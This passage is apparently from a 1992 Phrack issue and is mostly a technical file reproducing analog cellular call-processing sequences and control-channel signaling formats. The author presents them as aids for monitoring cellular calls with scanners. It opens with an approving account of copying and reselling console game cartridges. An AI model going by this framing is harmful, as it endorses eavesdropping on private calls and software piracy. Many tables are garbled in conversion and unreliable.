If you take an SNES or Genesis cart out of their shell and put it in a SF shell, you can copy them too. It works like teledisk, and Altered Reality in (303)443‑1524 has console game file support. All you do is download it and use your own console copier to put it on a cart, or at your option if it is a SNES or Famico game, play it off your OS. Genesis games don't work in the SF OS so you need to copy them to cartridge.

There are Japanese copiers specifically for Mega Drive (Genesis) that will do the same except that the OS is Sega‑specific and you'll eed to copy SNES games. There is also a NEC PC Engine (turbo graphics and super graphics) copier because they made the bloody system, but it is proprietary and it will only work with the turbo format.

I have never seen or worked with an internal model, but there is an internal 5.25" full height model in the NEC catalog...I ordered the catalog after I saw an advertisement for it in the back of Electronic Gaming Monthly, and a rather rich friend of mine went and bought the system. He also bought the $130 Japanese Street fighter II and copied it for all of us. How nice of him! Of course we had to buy the cartridges and pay him $20, but he made a $100 profit. Good deal for him!

________________________________________

Okay, that is it for now. Greets go out to Cool Hand, Ford Perfect, Lestat, RifleMan, The CrackSmith, AfterMath, both Night Rangers, Kim Clancy, Bar Manager, Butcher, Venom, and all the couriers who help make things happen.

Special thanks to Tempus for one kick ass ansi!

Cellular Telephony, Part II

==Phrack Inc.==

Volume Four, Issue Forty, File 6 of 14

**************************************

*

* Cellular Telephony *

* Part II *

*

* by *

* Brian Oblivion *

*

*

* Courtesy of: Restricted‑Data‑Transmissions (RDT) * * "Truth Is Cheap, But Information Costs." *

*

* June 1, 1992 *

**************************************

In Phrack 38, I discussed the history of cellular telephony, monitoring techniques, and a brief description of its predecessors. In Part II, I'll describe the call processing sequences for land‑originated and mobileoriginated calls, as well as the signaling formats for these processes. I apologize for the bulk of information, but I feel it is important for anyone who is interested in how the network communicates. Please realize that there was very little I could add to such a cut and dried topic, and that most is taken verbatim from Industry standards, with comments and addendum salt and peppered throughout.

Call‑Processing Sequences

Call‑Processing Sequence for Land‑Originated Calls

MTSO Cell Site Mobile Unit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑‑ Transmits setup channel data on paging channel 2 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Scans and locks on

paging channel

Receives incoming call ‑‑‑ 3

and performs translations

Sends paging message ‑‑‑‑‑ 4

to cell site

5 ‑‑ Reformats paging

message

6 ‑‑ Sends paging message

to mobile unit via

paging channel

7 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Detects Page 8 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Scans and locks on

access channel

9 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Seizes setup channel 10 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Acquires sync 11 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Sends service request 12 ‑‑ Reformats service request 13 ‑‑ Performs directional locate 14 ‑‑ Sends service request to MTSO Selects voice channel ‑‑‑ 15

Sends tx‑on command to ‑‑ 16

cell site

17 ‑‑ Reformats channel designation message 18 ‑‑ Sends channel designation message to mobile

unit via access channel

19 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Tunes to voice

channel

20 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Transponds SAT

21 ‑‑ Detects SAT 22 ‑‑ Puts on‑hook on trunk

Detects off‑hook ‑‑‑‑‑‑‑‑ 23

Sends alert order ‑‑‑‑‑‑‑ 24

25 ‑‑ Reformats alert order 26 ‑‑ Sends alert order to mobile unit via blank‑

and‑burst on voice channel

27 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Alerts User

28 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Sends 10‑kHz tone

29 ‑‑ Detects 10‑kHz tone 30 ‑‑ Puts on‑hook on trunk

Detects on‑hook ‑‑‑‑‑‑‑‑‑ 31

Provides audible ring ‑‑‑ 32

33 ‑‑ Detects absence of 10‑kHz tone 34 ‑‑ Puts off‑hook on trunk

Detects off‑hook ‑‑‑‑‑‑‑‑ 35

Removes audible ring ‑‑‑‑ 36

and completes connection

Time

Call‑Processing Sequence for Mobile‑Originated Calls

MTSO Cell Site Mobile Unit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑‑ Transmits setup channel

data on paging channel

2 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Scans and locks‑on

paging channel

3 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ User initiates call 4 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Scans and locks‑on

access channel

5 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Seizes setup channel 6 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Acquires sync 7 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Sends service request 8 ‑‑ Reformats service request 9 ‑‑ Performs directional Locate 10 ‑‑ Sends service request to MTSO Selects voice channel ‑‑‑‑ 11

Sends tx‑on command to ‑‑‑ 12

cell site

13 ‑‑ Reformats channel designation message 14 ‑‑ Sends channel designation message to mobile

unit via access channel

15 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Tunes to voice

channel

16 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Transponds SAT 17 ‑‑ Detects SAT 18 ‑‑ Puts off‑hook on trunk

Detects off‑hook ‑‑‑‑‑‑‑‑‑ 19

Completes call through ‑‑‑ 20

network Time

Let me review the frequency allocation for Wireline and non‑Wireline systems. Remember that the Wireline service is usually provided by the area's telephone company, in my area that company is NYNEX. The non‑Wireline companies are usually operated by other carriers foreign to the area, in my area we are serviced by Cellular One (which is owned by Southwestern Bell). Each company has its one slice of the electro‑magnetic spectrum. The coverage is not continuous, remember that there are also 800 MHz trunked business systems that also operate in this bandwidth. Voice channels are 30 KHz apart and the Data channels are 10 KHz apart.

Frequency Range Use

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

870.000 ‑ 879.360 Cellular One (mobile input 825.000 ‑ 834.360) 880.650 ‑ 890.000 NYNEX (mobile input 835.650 ‑ 845.500) 890.000 ‑ 891.500 Cellular One (mobile input 845.000 ‑ 846.500) 891.500 ‑ 894.000 NYNEX (mobile input 846.500 ‑ 849.000) 879.390 ‑ 879.990 Cellular One (data)

880.020 ‑ 880.620 NYNEX (data)

The data streams are encoded NRZ (Non‑return‑to‑zero) binary ones and zeroes are now zero‑to‑one and one‑to‑zero transitions respectively. This is so the wideband data can modulate the transmitter via binary frequency shift keying, and ones and zeroes into the modulator MUST now be equivalent to nominal peak frequency deviations of 8 KHz above and below the carrier frequency.

PUTTING IT ALL TOGETHER ‑ Signaling on the Control Channels

The following information will be invaluable to the hobbyist that is monitoring cellular telephones via a scanner and can access control channel signals. All information released below is EIA/TIA ‑‑ FCC standard. There are a lot of differences between cellular phones, but all phones must interface into the mobile network and talk fluently between each other and cell sites. Therefore, the call processing and digital signaling techniques are uniform throughout the industry.

MOBILE CALL PROCESSING

Calling:

Initially, the land station transmits the first part of its SID to a mobile monitoring some control channel, followed by the number of paging channels, an ESN request, then mobile registration, which will either be set to 0 or 1. When registration is set to one, the mobile will transmit both MIN1 and MIN2 during system access, another 1 for discontinuous (DTX) transmissions, read control‑filler (RCF) should be set to 1, and access functions (if combined with paging operations) require field setting to 1, otherwise CPA (combined paging access) goes to 0.

Receiving:

As the mobile enters the Scan Dedicated Control Channels Task, it must examine signal strengths of each dedicated control channel assigned to System A if enabled. Otherwise System B control channels are checked. The values assigned in the NAWC (Number of Additional Words Coming) system parameter overhead message train will determine for the mobile if all intended information has been received. An EDN field is used as a crosscheck, and control‑filler messages are not to be counted as part of the message. Should a correct BCH code be received along with a non‑recognizable overhead message, it must be part of the NAWC count train but the equivalent should not try and execute the instructions.

Under normal circumstances, mobiles are to tune to the strongest dedicated control channel, receive a system parameter transmission, and, within 3 seconds, set up the following:

o Set SID's 14 most significant bits to SID1 field value.

o Set SID's least significant bit to 1, if serving system status enables, or to zero if not.

o Set paging channels N to 1 plus the value of N‑1 field.

o Set paging channel FIRSTCHP as follows: If SIDs = SIDp then FIRSTCHPs = FIRSTCHPp (which is an 11‑bit paging channel).

If SIDs = SIDp and serving system is enabled, set FIRSTCHPs to initial dedicated channel for system B. If SIDs = SIDp and serving system is disabled, set FIRSTCHPs to first dedicated control channel for system B.

o Set LASTCHPs to value of FIRSTCHPs + Ns ‑1.

o Should the mobile come equipped for autonomous registration, it must:

o Set registration increment (REGINCRs) to its 450 default value.

o Set registration ID status to enabled.

I know that was a little arcane sounding but it's the best you can do with specifications. Data is data, there is no way to spruce it up. From here on out a mobile must begin the Paging Channel Selection Task. If this cannot be completed on the strongest dedicated channel, the second strongest dedicated channel may be accessed and the three second interval commenced again. Incomplete results should result in a serving system status check and an enabled or disabled state reversed, permitting the mobile to begin the Scan. Dedicated control Channels Task when channel signal strengths are once more examined.

Custom local operations for mobiles may be sent and include roaming mobiles whose home systems are group members. A new access channel may be transmitted with a new access field set to the initial access channel. Autonomously registered mobiles may increment their next registered ID by some fixed value, but the global action message must have its REGINCR field adequately set. Also, so that all mobiles will enter the Initialization Task and scan dedicated control channels, a RESCAN global action message must be transmitted.

Mobile stations may be required to read a control‑filler message before accessing any system on a reverse control channel.

System access for mobiles is sent on a forward control channel in the following manner. Digital Color Code (DCC) identifies the land is carried with the system parameter overhead message overload class fields are set to zero among the restricted number, and the remainder set to 1. Busy‑to‑idle status (BIS) access parameters go to zero when mobiles are prevented from checking on the reverse control channel and the message must be added to the overhead. When mobiles can't use the reverse control channel for seizure messages attempts or busy signals, access attempt parameters must also be included in the overhead. And when a land station receives a seizure precursor matching its digital color code with 1 or no bit errors, busy idle bits signals on the forward control channel must be set to busy within 1.2 milliseconds from the time of the last bit seizure. Busy‑idle bit then must remain busy until a minimum of 30 msec following the final bit of the last word of the message has been received, or a total of 175 msec has elapsed.

Channel Confirmation

Mobiles are to monitor station control messages for orders and respond to both audio and local control orders even though land stations are not required to reply. MIN bits must be matched. Thereafter, the System Access Task is entered with a page response, as above, and an access timer started.

This time runs as follows:

o 12 seconds for an origination

o 6 seconds for page response

o 6 seconds for an order response

o 6 seconds for a registration

The last try code is then set to zero, and the equipment begins the Scan Access Channels Task to find two channels with the strongest signals which it tunes and enters the Retrieve Access Attempts Parameters Task.

This is where both maximum numbers of seizure attempts and busy signals are each set to 10. A read control‑filler bit (RCF) will then be checked: If the RCF equals zero, the mobile then reads a control‑filler message, sets DCC and WFOM (wait for overhead message train before reverse control channel access) to the proper fields and sets the proper fields and sets the appropriate power level. Should neither the DCC field nor the control‑filler message be received and access time has expired, the mobile station goes to Serving System Determination Task. But within the allowed access time, the mobile station enters the Alternate Access Channel Task. BIS is then set to 1 and the WFOM bit is checked. If WFOM equals 1, the station enters the Update Overhead Information Task; if WFOM equals 0, a random delay wait is required of 0 to 200 msec, +/‑ 1 msec. Then, the station enters the Seize Reverse Control Channel Task.

Service Requesting is next. This task requires that the mobile continue to send is message to the land station according to the following instructions:

o Word A is required at all times.

o Word B has to be sent if last try access LT equals 1 or if E requires MIN1 and/or MIN2, and the ROAM status is disabled, or if the station has been paged with a 2‑word control message.

o Word C is transmitted with S (serial number) being 1 o Word D required if the access is an origination o Word E transmitted when the access is an origination and between 9 and 16 digits are dialed. When the mobile has transmitted its complete message, an unmodulated carrier is required for another 25 milliseconds before carrier turnoff. After words A through E have been sent, the next mobile task depends on the type of access.

Order confirmation requires entry into the Serving System Determination Task.

Origination means entry into the Await Message Task. Page response, is the same as Origination.

Registration requires Await Registration Confirmation, which must be completed within 5 seconds or registration failure follows. The same is true for Await Message since an incomplete task in 5 seconds sends the mobile into the Serving System Determination Task. Origination or Page response requires mobile update of parameters delivered in the message. If R equals 1, the mobile enters the Autonomous Registration Task, otherwise, it goes to the Initial Voice Channel Confirmation Task. Origination access may be either an intercept or reorder, and in these instances, mobiles enter the Serving System Determination Task. The same holds true for a page response access. But if access is an origination and the user terminates his call during this task, the call has to be released on a voice channel and not control channel.

If a mobile station is equipped for Directed Retry and if a new message is received before all four words of the directed retry message, it must go to the Serving System Determination Task. There the last try code (LT) must be set according to the ORDQ (order qualifier) field of the message as follows:

If 000, LT sets to 0

If 0001, LT sets to 1

Thereafter, the mobile clears the list of control channels to be scanned in processing Directed Retry (CCLIST) and looks at each CHANPOS (channel position) field contained in message words three and four. For nonzero CHANPOS field, the mobile calculates a corresponding channel number by adding CHANPOS to FIRSTCHA minus one. Afterwards, the mobile has then to determine if each channel number is within the set designated for cellular systems. A true answer requires adding this/these channel(s) to the CCLIST.

Awaiting Answers

Here, an alert timer is set for 65 seconds (0 to +20 percent). During this period the following events may take place:

o Should time expire, the mobile turns its transmitter off and enters the Serving System Determination Task.

o An answer requires signaling tone turnoff and Conversation Task entry.

o If any of the messages listed hereafter are received within 100 milliseconds, the mobile must compare SCC digits that identify stored and proper SAT frequencies for the station to the PSCC (present SAT color code). If not equivalent, the order is ignored. If correct, then the following actions taken for each order:

Handoff: Signaling extinguished for 500 msec, signal tone off, transmitter off, power lever adjusted, new channel tuned, new SAT, new SCC field, transmitter on, fade timer reset, and signaling tone on. Wait for an answer.

Alert: Reset alert timer for 65 seconds and stay in Waiting for Answer Task.

Stop Alert: Extinguish signaling tone and enter Waiting for Order Task.

Release: Signaling tone off, wait 500 msec, then enter Release Task.

Audit: Confirm message to land station, then stay in Waiting for Answer Task.

Maintenance: Reset alert timer for 65 seconds and remain in Waiting for Answer Task.

Change Power: Adjust transmitter to power level required and send confirmation to land station. Remain in Waiting for Answer Task.

Local Control: If local control is enabled and order received, examine LC field and determine action.

Orders other than the above for this type of action are ignored.

Conversation

In this mode, a release‑delay timer is set for 500 mSec. If Termination is enabled, the mobile sets termination status to disabled and waits 500 mSec before entering Release Task. The following actions may then execute:

o Upon call termination, the release delay timer has to be checked. If time has expired, the Release Task is entered; if not expired, the mobile must wait until expiration and then enter Release Task.

o Upon user requested flash, signaling tone turned on for 400 mSec. But should a valid order tone be received during this interval, the flash is immediately terminated and the order processed. The flash, of course, is not then valid.

o Upon receipt of the following listed orders and within 100 mSec, the mobile must compare SCC with PSCC, and the order is ignored if the two are not equal. But if they are the same, the following can occur:

Handoff: Signaling tone on for 50 mSec, then off, transmitter off, power level adjusted, new channel tuned, adjust new SAT, set SCC to SCC field message value, transmitter on, fade timer reset, remain in Conversation Task.

Send Called Address: Upon receipt within 10 seconds of last valid flash, called address sent to land station. Mobile remains in Conversation Task. Otherwise, remain in Conversation Task.

Alert: Turn on signaling tone, wait 500 mSec, then enter Waiting for Answer Task.

Release: Check release delay timer. If time expired, mobile enters Release Task; but if timer has not finished, then mobile must wait and then enter Release Task when time has expired.

Audit: Order confirmation sent to land station while remaining in Conversation Task.

Maintenance: Signaling tone on, wait 500 mSec, then enter Waiting for Answer Task.

Change Power: Adjust transmitter to power level required by order qualification code and send confirmation to land station. Remain in Conversation Task.

Local Control: If local control in enabled and local control order received, the LC field is to be checked for subsequent action and confirmation.

Orders other than the above for this type of action are ignored.

Release

In the release mode the following steps are required:

o Signaling tone sent for 1.8 sec. If flash in transmission when signaling tone begun, it must be continued and timing bridged so that action stops within 1.8 sec.

o Stop signaling tone.

o Turn off transmitter.

o The mobile station then enters the Serving System Determination Task.

The above is the Cellular System Mobile/Land Station Compatibility Specification. The following shall be Signaling Formats which are also found in the above document. I converted all these tables by HAND into ASCII so appreciate them. It wasn't the easiest thing to do. But I must say, I definitely understand the entire cellular operation format.

There are two types of continuous wideband data stream transmissions. One is the Forward Control Channel which is sent from the land station to the mobile. The other is the Reverse Control Channel, which is sent from the mobile to the land station. Each data stream runs at a rate of 10 kilobit/sec, +/‑ 1 bit/sec rate. The formats for each of the channels follow.

‑ Forward Control Channel

The forward control channel consists of three discrete information streams. They are called stream A, stream B and the busy‑idle stream. All three streams are multiplexed together. Messages to mobile stations with the least significant bit of their MIN number equal to "0" are sent on stream A, and those with a "1" are sent on stream B.

The busy‑idle stream contains busy‑idle bits, which are used to indicate the status of the reverse control channel. If the busy‑idle bit = "0" the reverse control channel is busy, if it equals "1" it is idle. The busy‑idle bit is located at the beginning of each dotting sequence, word sync sequence, at the beginning of the first repeat of word A and after every 10 message bits thereafter.

Mobile stations achieve synchronization with the incoming data via a 10 bit dotting sequence (1010101010) and an 11 bit word sync sequence (11100010010). Each word contains 40 bits, including parity and is repeated 5 times after which it is then referred to as a "block". For a multiword message, the second word block and subsequent word blocks are formed the same as the first word block including the dotting and sync sequences. A "word" is formed when the 28 content bits are encoded into a (40, 28; 5) BCH (Bose‑Chaudhuri‑Hocquenghem) code. The left‑most bit shall be designated the most‑significant bit.

The Generator polynominal for the (40, 28;5) BCH code is:

12 10 8 5 4 3 0 G (X) = X + X + X + X + X + X + X B

Each FOCC message can consist of one or more words. Messaging transmitted over the forward control channel are:

‑ Mobile station control message

‑ Overhead message

‑ Control‑filler message

Control‑filler messages may be inserted between messages and between word blocks of a multiword message.

Message Formats: Found on either stream A or B

‑ Mobile Station Control Message

The mobile station control message can consist of one, two, or four words.

Word 1 (abbreviated address word)

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| T t | |

| 1 2 | DCC | Mobile Identification Number 1 | P |

| | | 23‑0 | |

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

bits: 2 2 24 12

Word 2 (Extended Address Word)

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑

| T T |SCC =| | RSVD | LOCAL | CRDQ | ORDER | |

| 1 2| 11 | MIN2 | = 0 | | | | |

| = +‑‑‑‑‑+ 3‑24 +‑‑‑‑‑‑+‑‑‑‑‑+‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑| P |

| 10 |SCC =| | VMAC | CHAN | |

| | 11 | | |

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

2 2 10 3 11 12

Word 3 (First Directed‑Retry Word)

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

| T T | SCC | | | | RSVD | |

| 1 2| = | CHANPOS | CHANPOS | CHANPOS | = | |

| = | | | 000 | P |

| 10 | 11 | | | |

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

2 2 7 7 7 3 12

Word 4 (Second Directed‑Retry Word)

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

| T T | SCC | | | | RSVD | |

| 1 2| = | CHANPOS | CHANPOS | CHANPOS | = | |

| = | | | 000 | P |

| 10 | 11 | | | |

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

2 2 7 7 7 3 12

The interpretation of the data fields:

T T ‑ Type field. If only Word 1 is send, set to 00 in Word 1. SCC ‑ SAT color code (discussed previously) ORDER ‑ Order field. Identifies the order type (see table below) ORDQ ‑ Order qualifier field. Qualifies the order to a specific action

LOCAL ‑ Local control field. This field is specific to each system. The ORDER field must be set to local control for this field to be interpreted.

VMAC ‑ Voice Mobile Attenuation Code field. Indicates the mobile station power level associated with the designated voice channel.

CHAN ‑ Channel number field. Indicates the designated voice channel. CHANPOS‑ CHANnel POSition field. Indicates the position of a control channel relative to the first access channel (FIRSTCHA). RSVD ‑ Reserved for future use, all bits must be set as indicated. P ‑ Parity field.

Coded Digital Color Code

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Received DCC 7‑bit Coded DCC |

| 00 0000000 |

| 01 0011111 |

| 10 1100011 |

| 11 1111100 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Order and Order Qualification Codes

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Order | Order |

| Code |Qualification| Function |

| | Code |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00000 000 page (or origination) |

| 00001 000 alert

| 00011 000 release

| 00100 000 reorder

| 00110 000 stop alert

| 00111 000 audit

| 01000 000 send called‑address |

| 01001 000 intercept

| 01010 000 maintenance

|

| 01011 000 charge power to power level 0 | | 01011 001 charge power to power level 1 | | 01011 010 charge power to power level 2 | | 01011 011 charge power to power level 3 | | 01011 100 charge power to power level 4 | | 01011 101 charge power to power level 5 | | 01011 110 charge power to power level 6 | | 01011 111 charge power to power level 7 |

|

| 01100 000 directed retry ‑ not last try | | 01100 001 directed retry ‑ last try |

|

| 01101 000 non‑autonomous registration ‑ don't reveal location | | 01101 001 non‑autonomous registration ‑ make location known | | 01101 010 autonomous registration ‑ don't reveal location | | 01101 011 autonomous registration ‑ make location known |

|

| 11110 000 local control |

|

| All other codes are reserved |

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Forward Voice Channel

The forward voice channel (FVC) is a wideband data stream sent by the land station to the mobile station. This data stream must be generated at a 10 kilobit/Sec +/‑ .1 bit/Sec rate. The Forward Voice Channel format follows:

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑

|| | | Repeat | | | Repeat | | | || | word | | | word | | | word | || Dotting | sync | 1 of | dot | sync | 2 of | dot | sync |

|| | | | |

|| | | Word | | | Word | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑

101 11 40 37 11 40 37 11

‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑

| Repeat | | | Repeat | | | Repeat || | | | word | | | word | || | 9 of | dot | sync | 10 of | dot | sync | 11 of ||

| | | |

| Word | | | Word | | | Word ||

‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑

40 37 11 40 37 11 40

A 37‑bit dotting sequence and an 11‑bit word sync sequence are sent to permit mobile stations to achieve synchronization with the incoming data, except at the first repeat of the word, where the 101‑bit dotting sequence is used. Each word contains 40 bits, including parity, and is repeated eleven times together with the 37‑bit dotting and 11‑bit word sync; it is then referred to as a word block. A word block is formed by encoded the 28 content bits into a (40, 28) BCH code that has a distance of 5 (40, 28; 5). The left‑most bit (as always) is designated the most‑significant bit. The 28 most significant bits of the 40‑bit field shall be the content bits. The generator polynominal is the same as that used for the forward control channel.

The mobile station control message is the only message transmitted over the forward voice channel. The mobile station control message consists of one word.

Mobile Station Control Message:

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| T T | SCC = | | RSVD = | LOCAL | ORDQ | ORDER | |

| 1 2 | 11 | | 000 ... 0 | | | | |

| = +‑‑‑‑‑‑‑| PSCC +‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+ P |

| | SCC = | | RSVD = | VMAC | CHANNEL | |

| 10 | 11 | | 000 ... 0 | | | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

2 2 2 8 3 11 12

Interpretation of the data fields:

T T ‑ Type field. Set to '10'.

1 2

SCC ‑ SAT color code for new channel (see SCC table) PSCC ‑ Present SAT color code. Indicates the SAT color code associated with the present channel.

ORDER ‑ Order field. Identifies the order type. (see Order table) ORDQ ‑ Order qualifier field. Qualifies the order to a specific action (see Order table)

LOCAL ‑ Local Control field. This field is specific to each system. The ORDER field must be set to local control (see Order table) for this field to be interpreted.

VMAC ‑ Voice mobile attenuation code field. Indicates the mobile station power level associated with the designated voice channel.

RSVD ‑ Reserved for future use; all bits must be set as indicated. P ‑ Parity field.

Reverse Control Channel

The Reverse Control Channel (RECC) is a wideband data stream sent from the mobile station to the land station. This data stream runs at a rate of 10 kilobit/sec, +/‑ 1 bit/sec rate. The format of the RECC data stream follows:

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

| Dotting | Word | Coded | first word | Second word | Third word| | | sync | DCC | repeated | repeated | repeated |

| | | | 5 times | 5 times | 5 times |

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

bits: 30 11 7 240 240 240

Dotting = 01010101...010101

Word sync = 11100010010

All messages begin with the RECC seizure precursor with is composed of a 30 bit dotting sequence (1010...101), and 11 bit word sync sequence (11100010010), and the coded digital color code.

Each word contains 48 bits, including parity, and is repeated five times after which it is referred to as a word block. A word is formed by encoding 36 content bits into a (48, 36) BCH code that has a distance of 5, (48 36; 5). The left most bit shall be designated the most‑significant bit. The 36 most significant bits of the 48 bit field shall be the content bits.

The generator polynomial for the code is the same for the (40,28;5) code used on the forward channel.

Each Reverse Control Channel message can consist of one of the five words. The types of messages to be transmitted over the reverse control channel are as follows:

o Page Response Message

o Origination Message

o Order Confirmation Message

o Order Message

These messages are made up of combination of the following five words:

Word A ‑ Abbreviated Address Word

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑

| F | | | | | RSVD | S | |

| | | | | | | |

| = | NAWC | T | S | E | = | C | MIN 1 | P |

| | | | | | | | 23 ‑ 0 | |

| 1 | | | | | 0 | M | |

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑

1 3 1 1 1 1 4 24 12

Word B ‑ Extended Address Word

+‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑

| F | | | | | | RSVD | | |

| | | | | |

| = | NAWC | LOCAL | ORDQ | LOCAL | LT | = | MIN 2 | P |

| | | | | | 33‑24 | |

| 0 | | | | | | 00..0| | |

+‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑

1 3 5 3 5 1 8 10 12

Word C ‑ Electronic Serial Number Word

+‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| F | |

| | |

| = | NAWC | SERIAL (ESN) | P |

| | |

| 1 | |

+‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 3 32 12

Word D ‑ First Word of the Called‑Address

+‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑

| F | | 1st | 2nd | | | | | 7th | 8th | |

| | | | | |

| = | NAWC | DIGIT | DIGIT | ... | ... | ... | ... | DIGIT | DIGIT | P |

| | | | | |

| 1 | | | | | |

+‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑

1 3 4 4 4 4 4 4 4 4 12

Word E ‑ Second Word of the Called‑Address

+‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑

| F | NAWC | 9th | 10th | | | | | 15th | 16th | |

| | | | | |

| = | = | DIGIT | DIGIT | ... | ... | ... | ... | DIGIT | DIGIT | P |

| | | | | |

| 0 | 000 | | | | | |

+‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑

1 3 4 4 4 4 4 4 4 4 12

The interpretation of the data fields is as follows:

F ‑ First word indication field. Set to '1' in first word and '0' in subsequent words.

NAWC ‑ Number of additional words coming field. T ‑ T field. Set to '1' to identify the message as an origination or an order; set to '0' to identify the message as an order response or page response.

S ‑ Send serial number word. If the serial number word is sent, set to '1'; if the serial number word is not sent, set to '0'.

SCM ‑ The station class mark field

